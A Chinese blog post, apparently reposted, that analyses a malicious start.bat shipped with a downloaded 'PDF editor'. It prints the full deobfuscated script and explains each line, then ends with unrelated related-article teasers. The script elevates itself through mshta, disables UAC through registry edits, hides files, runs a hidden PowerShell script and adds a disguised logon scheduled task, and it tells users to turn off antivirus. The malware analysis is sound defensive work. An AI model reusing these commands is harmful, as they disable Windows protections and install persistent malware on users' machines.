记录一次病毒启动脚本

embedded/2024/10/4 17:02:15/

在第一次下载软件时,目录中配了一个使用说明,说是需要通过start.bat 这个文件来启动程序,而这个 start.bat 就是始作俑者:
病毒目录

病毒作者比较狡猾,其中start.bat 用记事本打开是乱码,但是可以通过将这个批处理文件的扩展名改为.doc,然后双击就用word打开了,因为这个批处理加密是利用混淆编码的原理加密的,而word能识别很多编码,所以用word打开就可以看到真容了,打开文件,完整的的病毒启动内容脚本如下:

@echo offPUSHD %~DP0 & cd /d "%~dp0"
%1 %2mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof
:targetreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nulcd /d bin 
attrib +s +h PDFeditorPortable.execd /d re\libstart powershell -windowstyle hidden .\add.ps1 >nul 2>nulfor /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%iif %f% equ 5 (cd ..cd ..start PDFeditorPortable.execd re\libSchTasks /Create /SC ONLOGON /delay 0005:00 /TN "CrashReporting" /TR "%CD%\CrashReporting.bat" /f >nul 2>nul) else (echo=echo 运行过程被杀软干扰,可通过以下方法恢复:echo=echo 1、检查是否被杀毒软件隔离,如被隔离,请恢复并添加进信任区后再运行软件echo=echo 2、方法1如果不行,请关闭杀软,重新解压原本压缩文件,再运行软件echo=pause
)setlocal enabledelayedexpansion
set line=0
for /f  %%a in ('wmic cpu get NumberOfLogicalProcessors') do (
set /a line+=1
if !line!==2 set A=%%a
)set /a B = %A% / 2set fn=CrashReporting2.bat >nul 2>nul
(for /f "tokens=*" %%i in (%fn%) do (
set s=%%i
set s=!s:20=%B%!
echo !s!))>temp1126.txt
move /y temp1126.txt "%fn%" >nul 2>nulcall CrashReporting2.batexit

这段代码是一个 Windows 批处理脚本,主要用于修改系统注册表设置、启动程序并处理一些与安全相关的配置。以下是对代码的逐行解释:

代码解析

  1. @echo off: 关闭命令行窗口中的命令回显,使得执行时不显示每个命令的内容。

  2. PUSHD %~DP0 & cd /d "%~dp0":

    • PUSHD %~DP0:将当前目录更改为脚本所在的目录。
    • cd /d "%~dp0":确保切换到该目录。
  3. %1 %2: 执行传递给脚本的第一个和第二个参数。

  4. mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof:

    • 使用 mshta 运行 VBScript,以管理员权限重新执行当前脚本,并跳转到 :target 标签。
    • window.close 在执行后关闭窗口。
    • &goto :eof 确保脚本在此处结束,不继续执行后面的代码。
  5. :target: 标签,后面的代码将在跳转到此标签时执行。

  6. 修改注册表:

    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul:
      • 将管理员的用户帐户控制 (UAC) 提示行为设置为 0(关闭提示)。
    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul:
      • 禁用用户帐户控制 (UAC)。
    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nul:
      • 关闭安全桌面上的提示。
  7. cd /d bin: 切换到 bin 目录。

  8. attrib +s +h PDFeditorPortable.exe: 将 PDFeditorPortable.exe 文件设置为系统文件和隐藏文件。

  9. cd /d re\lib: 切换到 re\lib 目录。

  10. start powershell -windowstyle hidden .\add.ps1 >nul 2>nul:

    • 在隐藏窗口中启动一个 PowerShell 脚本 add.ps1,并将输出重定向到空设备。
  11. for /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%i:

    • 计算当前目录及子目录下的文件数量,并将结果存储在变量 f 中。
  12. 条件判断:

    • if %f% equ 5 (...) else (...): 如果文件数量等于 5,则执行括号内的命令,否则执行 else 部分。
    • 如果文件数量为 5,切换到上级目录,启动 PDFeditorPortable.exe,并创建一个名为 CrashReporting 的计划任务。
    • 如果文件数量不为 5,输出提示信息,建议用户检查杀毒软件的干扰。
  13. 获取逻辑处理器数量:

    • 通过 wmic cpu get NumberOfLogicalProcessors 获取逻辑处理器数量,并将其存储在变量 A 中。
    • 计算 BA 的一半。
  14. 更新 CrashReporting2.bat 文件:

    • CrashReporting2.bat 文件中的某些内容替换为计算得到的 B 值,并将结果输出到临时文件 temp1126.txt 中,最后移动回原文件。
  15. 调用 CrashReporting2.bat: 执行 CrashReporting2.bat 文件。

  16. exit: 结束批处理脚本的执行。

总结

这个批处理脚本的主要功能是:

  • 修改系统的 UAC 设置以降低安全性。
  • 启动和配置某个 PDF 编辑器
  • 处理文件数量检查,确保程序正常运行。
  • 更新并执行一个名为 CrashReporting2.bat 的脚本。

由于涉及到 UAC 设置的修改,这段代码可能会被安全软件标记为潜在的恶意行为。关于病毒具体执行了什么,可以参见这篇博文:https://mp.csdn.net/mp_blog/creation/success/142697281


http://www.ppmy.cn/embedded/121972.html

相关文章

Redis: 主从复制原理

主从复制原理剖析 1 )配置 通过下面的从节点的配置项可以开启主从之间的复制功能slaveof 192.16.10.101 6379这里的复制包含全量复制和增量复制 2 )主节点的主从配置信息解析 查看主从之间的信息,在主节点上 $ info replication 打印出来的…

闲置物品交易平台|闲置物品交易平台系统|基于java的大学生闲置物品交易平台设计与实现(源码+数据库+文档)

闲置物品交易平台 目录 基于java的大学生闲置物品交易平台设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取 博主介绍:✌️大厂码农|毕设布道师&#…

Python Web架构:微服务与服务网格的实践

Python Web架构:微服务与服务网格的实践 目录 ✨ 服务网格的基础概念 服务网格的定义及其在微服务架构中的应用对比传统微服务架构和使用服务网格的优势 🔧 服务网格的核心组件 控制平面与数据平面的角色与功能常见服务网格工具的架构与功能&#xff0…

php与python建站的区别有哪些

php与Python建站的区别: 1、语言层面Python的特性比php好,更加规范。 2、Python的性能比php高。 3、有只需要启动服务的时候执行一次的代码,在php里每个请求都会被执行一次,Python不需要。虽然php可以通过缓存缩短这方面的差距…

前端——切换轮播图

学完前端js小知识后&#xff0c;动手操作的一个简单图片轮播图。 <!DOCTYPE html> <html lang"zh-CN"><head><meta charset"UTF-8"><meta name"keywords" content"关键词信息"><meta name"des…

企业数据挖掘工具选择指南:如何找到最适合的工具

一、引言 在信息爆炸的时代&#xff0c;数据已经成为企业的重要资产。 数据挖掘&#xff0c;作为一种从大量数据中提取有价值信息的技术&#xff0c;对于企业决策、市场分析、风险 管理等方面具有不可估量的作用。 1. 数据挖掘的重要性 支持决策制定&#xff1a;数据挖掘能够…

讲讲Webpack的打包过程/打包原理/构建流程?

Webpack的打包过程可以简单概括为以下几个步骤&#xff0c;这些步骤构成了Webpack的构建流程和打包原理&#xff1a; 入口起点&#xff1a; Webpack从配置文件中的入口起点开始&#xff0c;根据入口配置找到项目中的入口文件&#xff08;通常是一个JavaScript文件&#xff09;…

睡眠对于生活的重要性

在快节奏的现代生活中&#xff0c;健康养生不再是遥不可及的概念&#xff0c;而是融入日常每一刻的必需。其中&#xff0c;睡眠作为生命不可或缺的环节&#xff0c;其重要性往往被忽视&#xff0c;实则它是身体修复、能量积蓄的黄金时段。今天&#xff0c;让我们深入探讨“健康…